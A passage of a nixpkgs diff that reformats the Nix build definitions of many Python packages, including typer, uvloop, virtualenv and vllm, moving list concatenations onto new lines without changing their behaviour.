--- a/pkgs/development/python-modules/typer/default.nix
+++ b/pkgs/development/python-modules/typer/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     typing-extensions
     # Build includes the standard optional by default
     # https://github.com/tiangolo/typer/blob/0.12.3/pyproject.toml#L71-L72
-  ] ++ optional-dependencies.standard;
+  ]
+  ++ optional-dependencies.standard;
 
   optional-dependencies = {
     standard = [
@@ -51,28 +52,26 @@ buildPythonPackage rec {
     ];
   };
 
-  nativeCheckInputs =
-    [
-      coverage # execs coverage in tests
-      pytest-xdist
-      pytestCheckHook
-      writableTmpDirAsHomeHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      procps
-    ];
+  nativeCheckInputs = [
+    coverage # execs coverage in tests
+    pytest-xdist
+    pytestCheckHook
+    writableTmpDirAsHomeHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    procps
+  ];
 
-  disabledTests =
-    [
-      "test_scripts"
-      # Likely related to https://github.com/sarugaku/shellingham/issues/35
-      # fails also on Linux
-      "test_show_completion"
-      "test_install_completion"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      "test_install_completion"
-    ];
+  disabledTests = [
+    "test_scripts"
+    # Likely related to https://github.com/sarugaku/shellingham/issues/35
+    # fails also on Linux
+    "test_show_completion"
+    "test_install_completion"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    "test_install_completion"
+  ];
 
   pythonImportsCheck = [ "typer" ];
 
diff --git a/pkgs/development/python-modules/types-aiobotocore-packages/default.nix b/pkgs/development/python-modules/types-aiobotocore-packages/default.nix
index d5ccd832a0d0..ca94d175ba52 100644
--- a/pkgs/development/python-modules/types-aiobotocore-packages/default.nix
+++ b/pkgs/development/python-modules/types-aiobotocore-packages/default.nix
@@ -43,7 +43,8 @@ let
         aiobotocore
         boto3
         botocore
-      ] ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
+      ]
+      ++ lib.optionals (pythonOlder "3.12") [ typing-extensions ];
 
       # Module has no tests
       doCheck = false;
diff --git a/pkgs/development/python-modules/types-lxml/default.nix b/pkgs/development/python-modules/types-lxml/default.nix
index a0e03f05ca78..270dac5caa1d 100644
--- a/pkgs/development/python-modules/types-lxml/default.nix
+++ b/pkgs/development/python-modules/types-lxml/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     pytestCheckHook
     typeguard
     urllib3
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "lxml-stubs" ];
 
diff --git a/pkgs/development/python-modules/tzdata/default.nix b/pkgs/development/python-modules/tzdata/default.nix
index f22fdb1e091a..c9510654637f 100644
--- a/pkgs/development/python-modules/tzdata/default.nix
+++ b/pkgs/development/python-modules/tzdata/default.nix
@@ -24,7 +24,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     pytest-subtests
-  ] ++ lib.optionals (pythonOlder "3.7") [ importlib-resources ];
+  ]
+  ++ lib.optionals (pythonOlder "3.7") [ importlib-resources ];
 
   pythonImportsCheck = [ "tzdata" ];
 
diff --git a/pkgs/development/python-modules/tzlocal/default.nix b/pkgs/development/python-modules/tzlocal/default.nix
index 6f100cfb5a7a..3ad58df8776d 100644
--- a/pkgs/development/python-modules/tzlocal/default.nix
+++ b/pkgs/development/python-modules/tzlocal/default.nix
@@ -33,7 +33,8 @@ buildPythonPackage rec {
     "test_conflicting"
     "test_noconflict"
     "test_symlink_localtime"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "test_assert_tz_offset";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "test_assert_tz_offset";
 
   pythonImportsCheck = [ "tzlocal" ];
 
diff --git a/pkgs/development/python-modules/ufmt/default.nix b/pkgs/development/python-modules/ufmt/default.nix
index 13237ffd853b..7f55664ad786 100644
--- a/pkgs/development/python-modules/ufmt/default.nix
+++ b/pkgs/development/python-modules/ufmt/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     unittestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "ufmt" ];
 
diff --git a/pkgs/development/python-modules/ufo2ft/default.nix b/pkgs/development/python-modules/ufo2ft/default.nix
index 55ab61ab621a..d9a1ed9990fc 100644
--- a/pkgs/development/python-modules/ufo2ft/default.nix
+++ b/pkgs/development/python-modules/ufo2ft/default.nix
@@ -35,20 +35,19 @@ buildPythonPackage rec {
 
   pythonRelaxDeps = [ "cffsubr" ];
 
-  dependencies =
-    [
-      cu2qu
-      fontmath
-      fonttools
-      defcon
-      compreffor
-      booleanoperations
-      cffsubr
-      ufolib2
-      skia-pathops
-    ]
-    ++ fonttools.optional-dependencies.lxml
-    ++ fonttools.optional-dependencies.ufo;
+  dependencies = [
+    cu2qu
+    fontmath
+    fonttools
+    defcon
+    compreffor
+    booleanoperations
+    cffsubr
+    ufolib2
+    skia-pathops
+  ]
+  ++ fonttools.optional-dependencies.lxml
+  ++ fonttools.optional-dependencies.ufo;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/ufolib2/default.nix b/pkgs/development/python-modules/ufolib2/default.nix
index 534cc635a5fb..6597a46dabeb 100644
--- a/pkgs/development/python-modules/ufolib2/default.nix
+++ b/pkgs/development/python-modules/ufolib2/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
   dependencies = [
     attrs
     fonttools
-  ] ++ fonttools.optional-dependencies.ufo;
+  ]
+  ++ fonttools.optional-dependencies.ufo;
 
   optional-dependencies = {
     lxml = [ lxml ];
@@ -48,7 +49,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "ufoLib2" ];
 
diff --git a/pkgs/development/python-modules/ufoprocessor/default.nix b/pkgs/development/python-modules/ufoprocessor/default.nix
index 123ba62afdfd..e848536d8c60 100644
--- a/pkgs/development/python-modules/ufoprocessor/default.nix
+++ b/pkgs/development/python-modules/ufoprocessor/default.nix
@@ -24,17 +24,16 @@ buildPythonPackage rec {
 
   build-system = [ setuptools-scm ];
 
-  dependencies =
-    [
-      defcon
-      fontmath
-      fontparts
-      fonttools
-      mutatormath
-    ]
-    ++ defcon.optional-dependencies.lxml
-    ++ fonttools.optional-dependencies.lxml
-    ++ fonttools.optional-dependencies.ufo;
+  dependencies = [
+    defcon
+    fontmath
+    fontparts
+    fonttools
+    mutatormath
+  ]
+  ++ defcon.optional-dependencies.lxml
+  ++ fonttools.optional-dependencies.lxml
+  ++ fonttools.optional-dependencies.ufo;
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/development/python-modules/ultralytics/default.nix b/pkgs/development/python-modules/ultralytics/default.nix
index 9f16d7775fcc..076b56384657 100644
--- a/pkgs/development/python-modules/ultralytics/default.nix
+++ b/pkgs/development/python-modules/ultralytics/default.nix
@@ -80,43 +80,42 @@ buildPythonPackage rec {
     "tests/test_python.py"
   ];
 
-  disabledTests =
-    [
-      # also remove the individual tests that require internet
-      "test_all_model_yamls"
-      "test_data_annotator"
-      "test_labels_and_crops"
-      "test_model_embeddings"
-      "test_model_methods"
-      "test_predict_callback_and_setup"
-      "test_predict_grey_and_4ch"
-      "test_predict_img"
-      "test_predict_txt"
-      "test_predict_visualize"
-      "test_results"
-      "test_train_pretrained"
-      "test_train_scratch"
-      "test_utils_torchutils"
-      "test_val"
-      "test_workflow"
-      "test_yolo_world"
-      "test_yolov10"
-      "test_yoloe"
-      "test_multichannel"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # Fatal Python error: Aborted
-      # onnxruntime/capi/_pybind_state.py", line 32 in <module>
-      "test_utils_benchmarks"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Fatal Python error: Aborted
-      # ultralytics/utils/checks.py", line 598 in check_imshow
-      "test_utils_checks"
+  disabledTests = [
+    # also remove the individual tests that require internet
+    "test_all_model_yamls"
+    "test_data_annotator"
+    "test_labels_and_crops"
+    "test_model_embeddings"
+    "test_model_methods"
+    "test_predict_callback_and_setup"
+    "test_predict_grey_and_4ch"
+    "test_predict_img"
+    "test_predict_txt"
+    "test_predict_visualize"
+    "test_results"
+    "test_train_pretrained"
+    "test_train_scratch"
+    "test_utils_torchutils"
+    "test_val"
+    "test_workflow"
+    "test_yolo_world"
+    "test_yolov10"
+    "test_yoloe"
+    "test_multichannel"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # Fatal Python error: Aborted
+    # onnxruntime/capi/_pybind_state.py", line 32 in <module>
+    "test_utils_benchmarks"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Fatal Python error: Aborted
+    # ultralytics/utils/checks.py", line 598 in check_imshow
+    "test_utils_checks"
 
-      # RuntimeError: required keyword attribute 'value' has the wrong type
-      "test_utils_benchmarks"
-    ];
+    # RuntimeError: required keyword attribute 'value' has the wrong type
+    "test_utils_benchmarks"
+  ];
 
   meta = {
     homepage = "https://github.com/ultralytics/ultralytics";
diff --git a/pkgs/development/python-modules/uncertainties/default.nix b/pkgs/development/python-modules/uncertainties/default.nix
index e7bfba65d81d..4fe2af90d876 100644
--- a/pkgs/development/python-modules/uncertainties/default.nix
+++ b/pkgs/development/python-modules/uncertainties/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ optional-dependencies.arrays;
+  ]
+  ++ optional-dependencies.arrays;
 
   pythonImportsCheck = [ "uncertainties" ];
 
diff --git a/pkgs/development/python-modules/universal-silabs-flasher/default.nix b/pkgs/development/python-modules/universal-silabs-flasher/default.nix
index e4f1d582f328..285db38955a9 100644
--- a/pkgs/development/python-modules/universal-silabs-flasher/default.nix
+++ b/pkgs/development/python-modules/universal-silabs-flasher/default.nix
@@ -46,18 +46,17 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      bellows
-      click
-      coloredlogs
-      crc
-      pyserial-asyncio-fast
-      typing-extensions
-      zigpy
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ async-timeout ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [ libgpiod ];
+  dependencies = [
+    bellows
+    click
+    coloredlogs
+    crc
+    pyserial-asyncio-fast
+    typing-extensions
+    zigpy
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ async-timeout ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [ libgpiod ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/unstructured-api-tools/default.nix b/pkgs/development/python-modules/unstructured-api-tools/default.nix
index 6413392c7163..af5d0dc4c553 100644
--- a/pkgs/development/python-modules/unstructured-api-tools/default.nix
+++ b/pkgs/development/python-modules/unstructured-api-tools/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage {
     types-ujson
     uvicorn
     autoflake
-  ] ++ uvicorn.optional-dependencies.standard;
+  ]
+  ++ uvicorn.optional-dependencies.standard;
 
   pythonImportsCheck = [ "unstructured_api_tools" ];
 
diff --git a/pkgs/development/python-modules/unstructured-inference/default.nix b/pkgs/development/python-modules/unstructured-inference/default.nix
index f19299fc4c96..c5fc96d512df 100644
--- a/pkgs/development/python-modules/unstructured-inference/default.nix
+++ b/pkgs/development/python-modules/unstructured-inference/default.nix
@@ -33,20 +33,19 @@ buildPythonPackage rec {
     hash = "sha256-c5brGGY1PPuKYUb1UOvyKFZC4ph0pGRagHuTLKPXErY=";
   };
 
-  propagatedBuildInputs =
-    [
-      layoutparser
-      python-multipart
-      huggingface-hub
-      opencv-python
-      onnxruntime
-      transformers
-      # detectron2 # fails to build
-      # paddleocr # 3.12 not yet supported
-      # yolox
-    ]
-    ++ layoutparser.optional-dependencies.layoutmodels
-    ++ layoutparser.optional-dependencies.tesseract;
+  propagatedBuildInputs = [
+    layoutparser
+    python-multipart
+    huggingface-hub
+    opencv-python
+    onnxruntime
+    transformers
+    # detectron2 # fails to build
+    # paddleocr # 3.12 not yet supported
+    # yolox
+  ]
+  ++ layoutparser.optional-dependencies.layoutmodels
+  ++ layoutparser.optional-dependencies.tesseract;
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/uqbar/default.nix b/pkgs/development/python-modules/uqbar/default.nix
index 63eaa24ab4fb..68eca27e0128 100644
--- a/pkgs/development/python-modules/uqbar/default.nix
+++ b/pkgs/development/python-modules/uqbar/default.nix
@@ -44,26 +44,25 @@ buildPythonPackage rec {
     typing-extensions
   ];
 
-  disabledTests =
-    [
-      # UnboundLocalError: local variable 'output_path' referenced before assignment
-      "test_01"
-      # AssertionError: assert False
-      "test_sphinx_book_html_cached"
-      # FileNotFoundError: [Errno 2] No such file or directory: 'unflatten'
-      "test_sphinx_style_html"
-      # assert not ["\x1b[91mWARNING: dot command 'dot' cannot be run (needed for
-      # graphviz output), check the graphviz_dot setting\x1b[39;49;00m"]
-      "test_sphinx_style_latex"
-    ]
-    ++ lib.optional (pythonAtLeast "3.11") [
-      # assert not '\x1b[91m/build/uqbar-0.7.0/tests/fake_package/enums.py:docstring
-      "test_sphinx_style"
-    ]
-    ++ lib.optional (pythonAtLeast "3.12") [
-      # https://github.com/josiah-wolf-oberholtzer/uqbar/issues/93
-      "objects.get_vars"
-    ];
+  disabledTests = [
+    # UnboundLocalError: local variable 'output_path' referenced before assignment
+    "test_01"
+    # AssertionError: assert False
+    "test_sphinx_book_html_cached"
+    # FileNotFoundError: [Errno 2] No such file or directory: 'unflatten'
+    "test_sphinx_style_html"
+    # assert not ["\x1b[91mWARNING: dot command 'dot' cannot be run (needed for
+    # graphviz output), check the graphviz_dot setting\x1b[39;49;00m"]
+    "test_sphinx_style_latex"
+  ]
+  ++ lib.optional (pythonAtLeast "3.11") [
+    # assert not '\x1b[91m/build/uqbar-0.7.0/tests/fake_package/enums.py:docstring
+    "test_sphinx_style"
+  ]
+  ++ lib.optional (pythonAtLeast "3.12") [
+    # https://github.com/josiah-wolf-oberholtzer/uqbar/issues/93
+    "objects.get_vars"
+  ];
 
   pythonImportsCheck = [ "uqbar" ];
 
diff --git a/pkgs/development/python-modules/urllib3/default.nix b/pkgs/development/python-modules/urllib3/default.nix
index 4ccd320b6bb1..462c301306f2 100644
--- a/pkgs/development/python-modules/urllib3/default.nix
+++ b/pkgs/development/python-modules/urllib3/default.nix
@@ -46,7 +46,8 @@ let
       pytestCheckHook
       tornado
       trustme
-    ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+    ]
+    ++ lib.flatten (builtins.attrValues optional-dependencies);
 
     # Tests in urllib3 are mostly timeout-based instead of event-based and
     # are therefore inherently flaky. On your own machine, the tests will
diff --git a/pkgs/development/python-modules/urwid/default.nix b/pkgs/development/python-modules/urwid/default.nix
index bde14cb87407..950606c53d01 100644
--- a/pkgs/development/python-modules/urwid/default.nix
+++ b/pkgs/development/python-modules/urwid/default.nix
@@ -62,7 +62,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     glibcLocales
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   env.LC_ALL = "en_US.UTF8";
 
diff --git a/pkgs/development/python-modules/uvicorn/default.nix b/pkgs/development/python-modules/uvicorn/default.nix
index 3719fd5f674a..f993463c4752 100644
--- a/pkgs/development/python-modules/uvicorn/default.nix
+++ b/pkgs/development/python-modules/uvicorn/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
   dependencies = [
     click
     h11
-  ] ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ typing-extensions ];
 
   optional-dependencies.standard = [
     httptools
diff --git a/pkgs/development/python-modules/uvicorn/tests.nix b/pkgs/development/python-modules/uvicorn/tests.nix
index 62fc83d21fb1..33eb1564aa76 100644
--- a/pkgs/development/python-modules/uvicorn/tests.nix
+++ b/pkgs/development/python-modules/uvicorn/tests.nix
@@ -34,7 +34,8 @@ buildPythonPackage {
     a2wsgi
     watchgod
     wsproto
-  ] ++ uvicorn.optional-dependencies.standard;
+  ]
+  ++ uvicorn.optional-dependencies.standard;
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/development/python-modules/uvloop/default.nix b/pkgs/development/python-modules/uvloop/default.nix
index 4814c6bbcd34..cda85ed6c226 100644
--- a/pkgs/development/python-modules/uvloop/default.nix
+++ b/pkgs/development/python-modules/uvloop/default.nix
@@ -67,44 +67,42 @@ buildPythonPackage rec {
     psutil
   ];
 
-  pytestFlagsArray =
-    [
-      # Tries to run "env", but fails to find it, even with coreutils provided
-      "--deselect=tests/test_process.py::Test_UV_Process::test_process_env_2"
-      "--deselect=tests/test_process.py::Test_AIO_Process::test_process_env_2"
-      # AssertionError: b'' != b'out\n'
-      "--deselect=tests/test_process.py::Test_UV_Process::test_process_streams_redirect"
-      "--deselect=tests/test_process.py::Test_AIO_Process::test_process_streams_redirect"
-      # Depends on performance of builder
-      "--deselect=tests/test_base.py::TestBaseUV.test_call_at"
-      # Pointless and flaky (at least on darwin, depending on the sandbox perhaps)
-      "--deselect=tests/test_dns.py"
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      "--deselect=tests/test_tcp.py::Test_UV_TCPSSL::test_create_connection_ssl_failed_certificat"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      # Segmentation fault
-      "--deselect=tests/test_fs_event.py::Test_UV_FS_EVENT_RENAME::test_fs_event_rename"
-      # Broken: https://github.com/NixOS/nixpkgs/issues/160904
-      "--deselect=tests/test_context.py::Test_UV_Context::test_create_ssl_server_manual_connection_lost"
-    ];
+  pytestFlagsArray = [
+    # Tries to run "env", but fails to find it, even with coreutils provided
+    "--deselect=tests/test_process.py::Test_UV_Process::test_process_env_2"
+    "--deselect=tests/test_process.py::Test_AIO_Process::test_process_env_2"
+    # AssertionError: b'' != b'out\n'
+    "--deselect=tests/test_process.py::Test_UV_Process::test_process_streams_redirect"
+    "--deselect=tests/test_process.py::Test_AIO_Process::test_process_streams_redirect"
+    # Depends on performance of builder
+    "--deselect=tests/test_base.py::TestBaseUV.test_call_at"
+    # Pointless and flaky (at least on darwin, depending on the sandbox perhaps)
+    "--deselect=tests/test_dns.py"
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    "--deselect=tests/test_tcp.py::Test_UV_TCPSSL::test_create_connection_ssl_failed_certificat"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    # Segmentation fault
+    "--deselect=tests/test_fs_event.py::Test_UV_FS_EVENT_RENAME::test_fs_event_rename"
+    # Broken: https://github.com/NixOS/nixpkgs/issues/160904
+    "--deselect=tests/test_context.py::Test_UV_Context::test_create_ssl_server_manual_connection_lost"
+  ];
 
   disabledTestPaths = [
     # ignore code linting tests
     "tests/test_sourcecode.py"
   ];
 
-  preCheck =
-    ''
-      # force using installed/compiled uvloop
-      rm -rf uvloop
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Work around "OSError: AF_UNIX path too long"
-      # https://github.com/MagicStack/uvloop/issues/463
-      export TMPDIR="/tmp"
-    '';
+  preCheck = ''
+    # force using installed/compiled uvloop
+    rm -rf uvloop
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Work around "OSError: AF_UNIX path too long"
+    # https://github.com/MagicStack/uvloop/issues/463
+    export TMPDIR="/tmp"
+  '';
 
   pythonImportsCheck = [
     "uvloop"
diff --git a/pkgs/development/python-modules/vbuild/default.nix b/pkgs/development/python-modules/vbuild/default.nix
index 4ed92013e018..e54f584ad896 100644
--- a/pkgs/development/python-modules/vbuild/default.nix
+++ b/pkgs/development/python-modules/vbuild/default.nix
@@ -39,15 +39,14 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "vbuild" ];
 
-  disabledTests =
-    [
-      # Tests require network access
-      "test_min"
-      "test_pycomp_onlineClosurable"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      "test_ok"
-    ];
+  disabledTests = [
+    # Tests require network access
+    "test_min"
+    "test_pycomp_onlineClosurable"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    "test_ok"
+  ];
 
   disabledTestPaths = lib.optionals (pythonAtLeast "3.13") [
     # https://github.com/manatlan/vbuild/issues/13
diff --git a/pkgs/development/python-modules/versioningit/default.nix b/pkgs/development/python-modules/versioningit/default.nix
index 05dc14a79557..48112241bf1d 100644
--- a/pkgs/development/python-modules/versioningit/default.nix
+++ b/pkgs/development/python-modules/versioningit/default.nix
@@ -31,10 +31,11 @@ buildPythonPackage rec {
 
   build-system = [ hatchling ];
 
-  dependencies =
-    [ packaging ]
-    ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ]
-    ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  dependencies = [
+    packaging
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [ importlib-metadata ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   # AttributeError: type object 'CaseDetails' has no attribute 'model_validate_json'
   doCheck = lib.versionAtLeast pydantic.version "2";
diff --git a/pkgs/development/python-modules/virtualenv/default.nix b/pkgs/development/python-modules/virtualenv/default.nix
index 9485a56249e0..92092b4ff655 100644
--- a/pkgs/development/python-modules/virtualenv/default.nix
+++ b/pkgs/development/python-modules/virtualenv/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
     distlib
     filelock
     platformdirs
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   nativeCheckInputs = [
     cython
@@ -49,7 +50,8 @@ buildPythonPackage rec {
     pytest-mock
     pytest-timeout
     pytestCheckHook
-  ] ++ lib.optionals (!isPyPy) [ time-machine ];
+  ]
+  ++ lib.optionals (!isPyPy) [ time-machine ];
 
   preCheck = ''
     export HOME=$(mktemp -d)
@@ -61,23 +63,22 @@ buildPythonPackage rec {
     "tests/unit/seed/embed/test_bootstrap_link_via_app_data.py"
   ];
 
-  disabledTests =
-    [
-      # Network access
-      "test_create_no_seed"
-      "test_seed_link_via_app_data"
-      # Permission Error
-      "test_bad_exe_py_info_no_raise"
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [ "test_help" ]
-    ++ lib.optionals (isPyPy) [
-      # encoding problems
-      "test_bash"
-      # permission error
-      "test_can_build_c_extensions"
-      # fails to detect pypy version
-      "test_discover_ok"
-    ];
+  disabledTests = [
+    # Network access
+    "test_create_no_seed"
+    "test_seed_link_via_app_data"
+    # Permission Error
+    "test_bad_exe_py_info_no_raise"
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ "test_help" ]
+  ++ lib.optionals (isPyPy) [
+    # encoding problems
+    "test_bash"
+    # permission error
+    "test_can_build_c_extensions"
+    # fails to detect pypy version
+    "test_discover_ok"
+  ];
 
   pythonImportsCheck = [ "virtualenv" ];
 
diff --git a/pkgs/development/python-modules/visions/default.nix b/pkgs/development/python-modules/visions/default.nix
index b79e2a403704..9d9fa3e12107 100644
--- a/pkgs/development/python-modules/visions/default.nix
+++ b/pkgs/development/python-modules/visions/default.nix
@@ -59,7 +59,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTestPaths = [
     # requires running Apache Spark:
diff --git a/pkgs/development/python-modules/vivisect/default.nix b/pkgs/development/python-modules/vivisect/default.nix
index 06b15686ec24..af4060ef9238 100644
--- a/pkgs/development/python-modules/vivisect/default.nix
+++ b/pkgs/development/python-modules/vivisect/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     cxxfilt
     msgpack
     pycparser
-  ] ++ lib.optionals (withGui) optional-dependencies.gui;
+  ]
+  ++ lib.optionals (withGui) optional-dependencies.gui;
 
   optional-dependencies.gui = [
     pyqt5
diff --git a/pkgs/development/python-modules/vllm/default.nix b/pkgs/development/python-modules/vllm/default.nix
index c17eb4c11ccf..93bbda70d353 100644
--- a/pkgs/development/python-modules/vllm/default.nix
+++ b/pkgs/development/python-modules/vllm/default.nix
@@ -248,36 +248,34 @@ buildPythonPackage rec {
 
   # Ignore the python version check because it hard-codes minor versions and
   # lags behind `ray`'s python interpreter support
-  postPatch =
-    ''
-      substituteInPlace CMakeLists.txt \
-        --replace-fail \
-          'set(PYTHON_SUPPORTED_VERSIONS' \
-          'set(PYTHON_SUPPORTED_VERSIONS "${lib.versions.majorMinor python.version}"'
-    ''
-    + lib.optionalString (nccl == null) ''
-      # On platforms where NCCL is not supported (e.g. Jetson), substitute Gloo (provided by Torch)
-      substituteInPlace vllm/distributed/parallel_state.py \
-        --replace-fail '"nccl"' '"gloo"'
-    '';
+  postPatch = ''
+    substituteInPlace CMakeLists.txt \
+      --replace-fail \
+        'set(PYTHON_SUPPORTED_VERSIONS' \
+        'set(PYTHON_SUPPORTED_VERSIONS "${lib.versions.majorMinor python.version}"'
+  ''
+  + lib.optionalString (nccl == null) ''
+    # On platforms where NCCL is not supported (e.g. Jetson), substitute Gloo (provided by Torch)
+    substituteInPlace vllm/distributed/parallel_state.py \
+      --replace-fail '"nccl"' '"gloo"'
+  '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pythonRelaxDepsHook
-      which
-    ]
-    ++ lib.optionals rocmSupport [
-      rocmPackages.hipcc
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ]
-    ++ lib.optionals isCudaJetson [
-      cudaPackages.autoAddCudaCompatRunpath
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pythonRelaxDepsHook
+    which
+  ]
+  ++ lib.optionals rocmSupport [
+    rocmPackages.hipcc
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ]
+  ++ lib.optionals isCudaJetson [
+    cudaPackages.autoAddCudaCompatRunpath
+  ];
 
   build-system = [
     packaging
@@ -285,109 +283,106 @@ buildPythonPackage rec {
     wheel
   ];
 
-  buildInputs =
+  buildInputs = [
+    setuptools-scm
+    torch
+  ]
+  ++ lib.optionals cpuSupport [
+    oneDNN
+  ]
+  ++ lib.optionals (cpuSupport && stdenv.isLinux) [
+    numactl
+  ]
+  ++ lib.optionals cudaSupport (
+    mergedCudaLibraries
+    ++ (with cudaPackages; [
+      nccl
+      cudnn
+      libcufile
+    ])
+  )
+  ++ lib.optionals rocmSupport (
+    with rocmPackages;
     [
-      setuptools-scm
-      torch
+      clr
+      rocthrust
+      rocprim
+      hipsparse
+      hipblas
     ]
-    ++ lib.optionals cpuSupport [
-      oneDNN
-    ]
-    ++ lib.optionals (cpuSupport && stdenv.isLinux) [
-      numactl
-    ]
-    ++ lib.optionals cudaSupport (
-      mergedCudaLibraries
-      ++ (with cudaPackages; [
-        nccl
-        cudnn
-        libcufile
-      ])
-    )
-    ++ lib.optionals rocmSupport (
-      with rocmPackages;
-      [
-        clr
-        rocthrust
-        rocprim
-        hipsparse
-        hipblas
-      ]
-    )
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.openmp
-    ];
+  )
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.openmp
+  ];
 
-  dependencies =
-    [
-      aioprometheus
-      blake3
-      cachetools
-      depyf
-      fastapi
-      llguidance
-      lm-format-enforcer
-      numpy
-      openai
-      opencv-python-headless
-      outlines
-      pandas
-      prometheus-fastapi-instrumentator
-      psutil
-      py-cpuinfo
-      pyarrow
-      pydantic
-      python-json-logger
-      python-multipart
-      pyzmq
-      ray
-      sentencepiece
-      tiktoken
-      tokenizers
-      msgspec
-      gguf
-      einops
-      importlib-metadata
-      partial-json-parser
-      compressed-tensors
-      mistral-common
-      torch
-      torchaudio
-      torchvision
-      transformers
-      uvicorn
-      xformers
-      xgrammar
-      numba
-    ]
-    ++ uvicorn.optional-dependencies.standard
-    ++ aioprometheus.optional-dependencies.starlette
-    ++ lib.optionals cudaSupport [
-      cupy
-      pynvml
-    ];
+  dependencies = [
+    aioprometheus
+    blake3
+    cachetools
+    depyf
+    fastapi
+    llguidance
+    lm-format-enforcer
+    numpy
+    openai
+    opencv-python-headless
+    outlines
+    pandas
+    prometheus-fastapi-instrumentator
+    psutil
+    py-cpuinfo
+    pyarrow
+    pydantic
+    python-json-logger
+    python-multipart
+    pyzmq
+    ray
+    sentencepiece
+    tiktoken
+    tokenizers
+    msgspec
+    gguf
+    einops
+    importlib-metadata
+    partial-json-parser
+    compressed-tensors
+    mistral-common
+    torch
+    torchaudio
+    torchvision
+    transformers
+    uvicorn
+    xformers
+    xgrammar
+    numba
+  ]
+  ++ uvicorn.optional-dependencies.standard
+  ++ aioprometheus.optional-dependencies.starlette
+  ++ lib.optionals cudaSupport [
+    cupy
+    pynvml
+  ];
 
   dontUseCmakeConfigure = true;
-  cmakeFlags =
-    [
